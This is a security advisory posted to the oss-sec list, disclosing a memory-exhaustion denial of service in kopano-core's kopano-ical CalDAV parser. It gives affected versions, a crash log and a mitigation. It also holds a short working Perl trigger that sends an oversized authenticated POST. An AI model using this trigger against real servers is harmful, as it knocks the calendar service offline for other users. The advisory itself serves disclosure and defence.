oss-sec mailing list archives
kopano-core 11.0.2.43: Remote authenticated DoS with unhandled exception
From: Jan Engelhardt <jengelh () inai de>
Date: Fri, 13 Aug 2021 14:21:03 +0200 (CEST)
To the best of my knowledge, this is the initial publication, and there is no CVE number as of this time. == Affected versions == * kopano-core 11.0.2.43 and presumably all prior versions == Issue == The ical parser in kopano-ical's "iCal::HrHandleIcalPost" function is very memory hungry. With the testcase below, I observe that the function makes the process image grow to as much memory as 30x the size of the HTTP request it is processing. A suitably-chosen input can be used to push the process over the limits of the environment. An authenticated user is required to perform the operation, however. If those conditions are met, std::bad_alloc can escape and, since this exception is unhandled, terminates the program, depriving other users of the service. # ulimit -v 4000000 # ./kopano-ical -F & 01:04:40.029434: kopano-ical 11.0.1 01:04:40.029481: OS: openSUSE Tumbleweed (Linux 5.13.7 x86_64) 01:04:40.029488: Thread name: kopano-ical 01:04:40.029510: Peak RSS: 3911832 01:04:40.029528: Pid 14984 caught SIGSEGV (11), traceback: 01:04:40.029535: Backtrace: terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc 01:04:40.030456: ---------------------------------------------------------------------- 01:04:40.030464: Fatal error detected. Please report all following information. 01:04:40.030471: kopano-ical 11.0.1 01:04:40.030477: OS: openSUSE Tumbleweed (Linux 5.13.7 x86_64) 01:04:40.030482: Thread name: kopano-ical 01:04:40.030489: Peak RSS: 3911832 01:04:40.030494: Pid 14984 caught SIGABRT (6), out of memory or unhandled exception, traceback: 01:04:40.030499: Backtrace: terminate called recursively Aborted (core dumped) == Trigger == #!/usr/bin/perl use IO::Socket::INET; $s=IO::Socket::INET->new(PeerHost,"localhost",PeerPort,8000); $rep = $ARGV[0] || 500; # max 19522 $size = $rep *11*10000+28; $s->write("POST /caldav/ HTTP/1.0\nAuthorization: Basic Zm9vOmZvbw==\nContent-Length: $size\n\n"); $s->write("BEGIN:VCALENDER\nVERSION:2.0\n"); $a = "SUMMARY: A\n" x 10000; $s->write($a) for 1..$rep; == Mitigation == An administrator could install an additional proxy/loadbalancer/etc. and there set a limit on the HTTP request size. (kopano-ical has nothing of its own.) However, such administrative action equally implies a reduction of the service's capabilities offered to end-users.
Current thread:
- kopano-core 11.0.2.43: Remote authenticated DoS with unhandled exception Jan Engelhardt (Aug 14)